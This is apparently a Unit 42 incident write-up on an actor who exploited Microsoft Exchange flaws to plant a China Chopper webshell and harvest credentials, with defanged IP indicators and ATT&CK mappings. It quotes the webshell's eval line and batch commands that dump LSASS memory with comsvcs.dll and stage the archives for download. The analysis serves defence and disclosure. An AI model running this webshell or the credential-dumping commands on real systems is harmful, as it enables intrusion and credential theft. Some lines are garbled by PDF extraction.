# Actor Exploits Microsoft Exchange Server Vulnerabilities, Cortex XDR Blocks Harvesting of Credentials

**unit42.paloaltonetworks.com/exchange-server-credential-harvesting/**

Robert Falcone April 15, 2021

By [Robert Falcone](https://unit42.paloaltonetworks.com/author/robertfalcone/)

April 15, 2021 at 6:00 AM

[Category: Unit 42](https://unit42.paloaltonetworks.com/category/unit-42/)

Tags: [Cortex,](https://unit42.paloaltonetworks.com/tag/cortex/) [Credential Harvesting,](https://unit42.paloaltonetworks.com/tag/credential-harvesting/) [CVE-2021-26855,](https://unit42.paloaltonetworks.com/tag/cve-2021-26855/) [CVE-2021-26857,](https://unit42.paloaltonetworks.com/tag/cve-2021-26857/) [CVE-2021-26858,](https://unit42.paloaltonetworks.com/tag/cve-2021-26858/) [CVE-2021-27065,](https://unit42.paloaltonetworks.com/tag/cve-2021-27065/) [Microsoft Exchange Server,](https://unit42.paloaltonetworks.com/tag/microsoft-exchange-server/)
[webshell](https://unit42.paloaltonetworks.com/tag/webshell/)

This post is also available in: 日本語 [(Japanese)](https://unit42.paloaltonetworks.jp/exchange-server-credential-harvesting/)

## Executive Summary

[The recently discovered and patched Microsoft Exchange vulnerabilities (CVE-2021-26855,](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855) [CVE-2021-26857,](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857) [CVE-2021-26858 and](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858) CVE2021-27065) have garnered considerable attention due to their mass exploitation and the severity of impact each exploitation has on the
affected organization. On March 6, 2021, an unknown actor exploited vulnerabilities in Microsoft Exchange Server to install a webshell on a
server at a financial institution in the EMEA (Europe, the Middle East and Africa) region. While we did not have access to the webshell itself,
[the webshell is likely a variant of the China Chopper server-side JScript.](https://unit42.paloaltonetworks.com/china-chopper-webshell/)

Six days after installing the webshell on March 12, 2021, the actor used the installed webshell to run PowerShell commands to gather
information from the local server and the Active Directory and stole credentials from the compromised Exchange server. The actor then
compressed the files associated with the information gathering and credential harvesting by creating cabinet files saved to a folder that the
Internet Information Services (IIS) server will serve to the internet. The actor attempted to exfiltrate these cabinet files by directly navigating to
them on March 12 and 13, 2021.

We analyzed the IP addresses of the inbound requests to run the commands via the webshell installed, as well as of the requests to download
the resulting files. None of the observed IP addresses appear to be actor-owned infrastructures and likely involve a sampling of freely available
proxies, VPNs and compromised servers. The IP addresses seen in the logs did not provide any pivot points to additional activity.

Unit 42 analysts believe that the actor has automated interaction with the webshell to run the two separate PowerShell scripts. The two
PowerShell scripts executed via the webshell were issued three seconds apart and had two different inbound IP addresses. It appears that the
automation also included the purposeful switch in IP addresses to make analyzing and correlating the activity more cumbersome. The
automation provides a clue that the actor carried out this specific attack as part of a more extensive attack campaign.

Fortunately, the result of the actor's credential harvesting efforts at the financial institution in EMEA was unsuccessful, as the inbound requests
to download the memory dump from the LSASS process failed. As an additional level of protection, the Exchange server had Cortex XDR
installed with the Password Theft Protection module enabled. This removed pointers to the desired credentials from the dumped memory,


-----

c ou d a e t a ted t e acto s ab ty to eas y e t act c ede t a s o t e e o y du p us g at e e t ey e e ab e to
download the file successfully.

It appears that this is just one incident in a large-scale campaign either carried out by a single actor or multiple actors using a common toolset.
Unit 42 found 177 webshells that share several common attributes and have similar behavior to the webshell that the actor used in this
incident. The organizations impacted by these related webshells were in various industries and geographic locations, which suggests the
associated actor(s) is opportunistic and likely used scanning to find Exchange servers to compromise rather than having a set list of targets.

[Palo Alto Networks customers are protected against Microsoft Exchange Server attacks with Next-Generation Firewalls with](https://www.paloaltonetworks.com/network-security/next-generation-firewall) [Threat Prevention](https://www.paloaltonetworks.com/content/pan/en_US/products/secure-the-network/subscriptions/threat-prevention)
[and URL Filtering security subscriptions, Cortex XDR and](https://www.paloaltonetworks.com/content/pan/en_US/products/threat-detection-and-prevention/web-security) [Cortex XSOAR.](https://www.paloaltonetworks.com/cortex/xsoar)

## Webshell Activity

Unit 42 observed an actor interacting with webshells on Microsoft Exchange servers at six different organizations on March 11 and 12, 2021.
To understand the actor’s activity in these attacks, we analyzed Internet Information Services (IIS) logs from one of the compromised
Exchange servers, which allowed us to observe the inbound web requests to the webshell and the associated process activity generated. We
used the timestamps in these logs to create a timeline of activity associated with this particular actor and incident, which we will refer to as the
attack in the rest of this analysis. Figure 1 shows the timeline, which starts from the beginning of the activity on March 6, 2021. As shown,
there is a six day gap in activity before the post-exploitation activities kick off on March 12, 2021.

Figure 1.

Timeline of actor’s activities associated with the Exchange server.
According to the logs, on March 6, 2021 at 2:38:16 AM, the actor installed a webshell on the Exchange server by saving the webshell to
C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx. The path to the installed webshell exists within the IIS server’s root directory, which would
serve the webshell to visitors who navigate to /aspnet_client/supp0rt.aspx. The URL of /aspnet_client/supp0rt.aspx is not unique to this attack,
as Unit 42 has seen this URL used for webshells in many Exchange-related attacks, as mentioned in a previous blog, “Hunting for the Recent
Attacks Targeting Microsoft Exchange.” According to a [recent CISA report, the supp0rt.aspx used in Exchange-related attacks was an Offline](https://us-cert.cisa.gov/ncas/analysis-reports/ar21-072f)
Address Book (OAB) configuration file with a webshell added to the “ExternalUrl” field.

While we did not have access to the supp0rt.aspx file used in this specific attack, we were able to analyze 177 supp0rt.aspx files that
contained similar functionality. Each of the analyzed files contained China Chopper’s server-side JScript, which would evaluate code provided
within a unique parameter whose name consists of 32 alphanumeric characters. For example, the following code was extracted from a
supp0rt.aspx webshell, which would run code provided by the actor within a parameter 54242e9b610a7ca15024a784969c9e0d:

<script language="JScript" runat="server">function Page_Load()
{eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["54242e9b610a7ca15024a784969c9e0d"])),"unsaf
</script>

In this attack, we observed the actor providing code to execute to the supp0rt.aspx webshell within a parameter named
6b83ccc96b4abd4cea1c7c607688a8ad. We believe with high confidence that the actors used the same webshell code in these attacks, as
seen above, but using the 6b83ccc96b4abd4cea1c7c607688a8ad parameter in place of 54242e9b610a7ca15024a784969c9e0d. While China
Chopper’s server-side JScript is readily available online, we believe that the combination of the same webshell, the supp0rt.aspx filename and
the use of a random 32-alphanumeric character parameter to run PowerShell code suggests either a common actor or shared tooling across
multiple actors.

We do not know exactly which IP address the actor used to exploit the server to install the webshell, as there were several successful HTTP
POST requests to /ecp/program.js that attempted to exploit the Exchange vulnerability within a minute of the supp0rt.aspx file being written to
[disk. The path /ecp/program.js does not appear unique to this attack, as other security researchers have mentioned seeing this path used to](https://twitter.com/SecShoggoth/status/1368699174066266115?s=20)
[exploit Exchange Server (CVE-2021-26855). All the successful requests used the user-agent ExchangeServicesClient/0.0.0.0 and came from](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855)
the following IP addresses:

156.194.127[.]178
112.160.243[.]172
221.179.87[.]175
73.184.77[.]174
41.237.156[.]15
223.16.210[.]90


-----

63 6 55[ ] 0
218.103.234[.]104
83.110.215[.]7

After several days of inactivity, the actor first accessed the webshell on March 12, 2021, at 2:35:27, by navigating to
/aspnet_client/supp0rt.aspx from 121.150.12[.]35. The HTTP request included a parameter labeled 6b83ccc96b4abd4cea1c7c607688a8ad
that included a base64 encoded PowerShell script that the webshell will decode and execute. The following script lists the running processes
and returns the list between strings of oamoisjmdo and sodknousfnfdklj:

var p=System.Diagnostics.Process.GetProcesses();var str="";for(var i=0;i<p.Length;i++)

{str+=p[i].ProcessName+":"+p[i].Id+"\r\n";}
str=Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(str));str="oamoisjmdo"str"sodknousfnfdklj";Response.Write(str);

The actors enumerated the running processes to find the process identifier (PID) of the Local Security Authority Subsystem Service (LSASS)
process in order to dump the memory for credential harvesting. The actor will use the PID of LSASS (584, seen in a later example) within a
second PowerShell script uploaded to the same webshell at /aspnet_client/supp0rt.aspx within the 6b83ccc96b4abd4cea1c7c607688a8ad
parameter. The actor uploaded the second PowerShell to the webshell three seconds after the first on March 12, 2021, at 2:35:30, before the
actor appeared to switch their IP address to use 164.68.156[.]31. The short period of time between the two inbound requests to the webshell,
coupled with the switching of IP addresses, suggests that the actor has automated this process to some extent. Unit 42 believes the actors
automated their interactions with the webshell to scale their operation, which allowed them to carry out post-exploitation activities on a long list
of compromised Exchange servers. The second PowerShell script contained the following, which effectively saves a batch script to test.bat on
the server and executes it by creating a cmd.exe process:

System.IO.File.WriteAllBytes('c:\\inetpub\\wwwroot\\aspnet_client
test.bat',System.Convert.FromBase64String('cG93ZXJzaGVsbCBydW5kbGwzMi5leGUgYzpcd2luZG93c1xzeXN0ZW0zMlxjb21zdmNzLmRsbCBN
var c=new System.Diagnostics.ProcessStartInfo('cmd.exe');
var e=new System.Diagnostics.Process();
e.StartInfo=c;
c.Arguments='/c c:\\inetpub\\wwwroot\\aspnet_client
test.bat';
e.Start();

The test.bat batch script attempted to run the following four commands, which essentially use comsvcs.dll to dump LSASS' memory, dsquery
to get more contextual information on users on the network and makecab to create cabinet files from the results of the two previous commands
for exfiltration:

powershell rundll32.exe c:\windows\system32\comsvcs.dll MiniDump 584 c:\inetpub\wwwroot\aspnet_client\f4[redacted]9b1.tmp.dmp full
dsquery * -limit 0 -filter objectCategory=person -attr * -uco > c:\inetpub\wwwroot\aspnet_client\f4[redacted]9b.tmp
makecab c:\inetpub\wwwroot\aspnet_client\f4[redacted]9b1.tmp.dmp c:\inetpub\wwwroot\aspnet_client\f4[redacted]9b1.dmp.zip
makecab c:\inetpub\wwwroot\aspnet_client\f4[redacted]9b.tmp c:\inetpub\wwwroot\aspnet_client\f4[redacted]9b.dmp.zip

Several hours later on March 12, 2021, at 10:07:09, the actor appears to have changed their IP address to 45.77.140[.]214 and successfully
downloaded the cabinet file f4[redacted]9b.dmp.zip that contained the results of the dsquery command. According to the user-agent of
Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko, the actor downloaded this cabinet file by visiting the correct URL in an Internet
Explorer 11 browser on a Windows 7 system. We looked at the f4[redacted]9b.dmp.zip file and found that it contained the f4[redacted]9b.tmp
file, which was empty. This suggests that the dsquery command executed by the batch script did not successfully gather the user information
from Active Directory.

Then, one second later on March 12, 2021, at 10:07:10, the actor attempted to download the cabinet file containing the LSASS memory dump
by making a GET request from 45.77.140[.]214 to /aspnet_client/f4[redacted]9b1.dmp.zip, but the server responded with a 404 Not Found
error. The actor continued to try to download this file through March 12, 2021, at 17:35:15. At that point, there was a break in activity until two
more requests to download the file on March 13, 2021, at 05:40:05 and 05:40:06. All the requests to download the cabinet file were met with
the same 404 error message.

Less than 20 minutes later on March 13, 2021, at 6:02:04 AM, the actor again changed their IP address – this time to 78.141.218[.]225 – and
continued attempting to download this cabinet file. The actor continued their attempts until March 13, 2021, at 16:33:03, issuing a total of 33
requests, all of which were met with HTTP 404 responses.

We looked at the f4[redacted]9b1.dmp file and it indeed contained the memory contents of the LSASS process, but we were unable to use
Mimikatz to dump the credentials. We confirmed that the Exchange server had Cortex XDR with the Password Theft Protection module
enabled, which removed a pointer to the credentials from the dump file. This suggests that even if the actor was able to successfully download
the f4[redacted]9b1.dmp.zip cabinet file that contained the memory dump, the actor would be unable to extract the sought-after credentials
using Mimikatz to use in additional activities to further impact the organization.

## Conclusion


-----

e ass e p o tat o o ece t u e ab t es c oso t c a ge Se e s a pa t, as o ga at o s atte pt to qu c y patc t e se e s
and attackers try to take advantage while they can. Unit 42 has seen various actors using these vulnerabilities to install a variety of webshells,
which act as the gateway for the actors to carry out further activities on a compromised Exchange server and impacted network.

In one incident against a financial institution in the EMEA region, we observed an actor installing a webshell and using an automated
approach to interact with the webshell to gather information and to dump credentials from the compromised server. Fortunately, in this incident,
the organization had Cortex XDR installed and the Password Theft Protection module enabled. This removed pointers to the credential hashes
from the memory dump that the actors attempted to exfiltrate in order to harvest credentials, which would not allow the actor to dump
credentials using Mimikatz.

[As mentioned in our “Threat Assessment: Active Exploitation of Four Zero-Day Vulnerabilities in Microsoft Exchange Server,” Palo Alto](https://unit42.paloaltonetworks.com/microsoft-exchange-server-vulnerabilities/)
Networks customers are protected against Microsoft Exchange Server attacks across our product ecosystem, with specific protections
deployed in the following products and subscriptions:

Next-Generation Firewall

Threat Prevention (Deploy Content Pack 8380 which detects the four vulnerabilities)
URL Filtering
[Cortex XDR 7.3.1](https://docs.paloaltonetworks.com/cortex/cortex-xdr/7-3/cortex-xdr-agent-release-notes/cortex-xdr-agent-release-information/features-introduced-in-cortex-xdr-agent.html)
Cortex XSOAR

**Additional Resources**

**Indicators of Compromise**

156.194.127[.]178

112.160.243[.]172

221.179.87[.]175

73.184.77[.]174

41.237.156[.]15

223.16.210[.]90

63.76.255[.]110

218.103.234[.]104

83.110.215[.]7

121.150.12[.]35

164.68.156[.]31

45.77.140[.]214

78.141.218[.]225

**Tactics, Techniques and Procedures**


**Technique (ID)** **Technique**
**ID**


**Description**


[Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190/) [T1190](https://attack.mitre.org/techniques/T1190/) Actor exploited vulnerabilities in Microsoft Exchange


Server Software Component: Web
Shell

Data Encoding: Standard
Encoding


[T1505.003](https://attack.mitre.org/techniques/T1505/003/) Actor installed webshell on compromised Exchange server

[T1132.001](https://attack.mitre.org/techniques/T1132/001/) Actor issued base64 encoded scripts to the webshell for execution


[Automated Collection](https://attack.mitre.org/techniques/T1119/) [T1119](https://attack.mitre.org/techniques/T1119/) Actor uses batch scripts to collect information and to dump LSASS memory

[Data from Local System](https://attack.mitre.org/techniques/T1005/) [T1005](https://attack.mitre.org/techniques/T1005/) Actor gathers running processes to find LSASS process identifier (PID)


Account Discovery: Domain
Account

OS Credential Dumping: LSASS
Memory


[T1087.002](https://attack.mitre.org/techniques/T1087/002/) Actor uses ‘dsquery’ to gather information from Active Directory, specifically user
accounts

[T1003.001](https://attack.mitre.org/techniques/T1003/001/) Actor uses the MiniDump function within ‘comsvc.dll’ to dump LSASS’ memory to dump
credentials


-----

Archive Collected Data: Archive
via Utility


[T1560.001](https://attack.mitre.org/techniques/T1560/001/) Actor uses the makecab utility to compress files prior to exfiltration


[Data Staged: Local Data Staging](https://attack.mitre.org/techniques/T1074/001/) [T1074.001](https://attack.mitre.org/techniques/T1074/001/) Actor saves files for exfiltration in c:\inetpub\wwwroot\aspnet_client\ to download
remotely via the browser

**Get updates from**

**Palo Alto**

**Networks!**

Sign up to receive the latest news, cyber threat intelligence and research from us

[By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/terms-of-use)


-----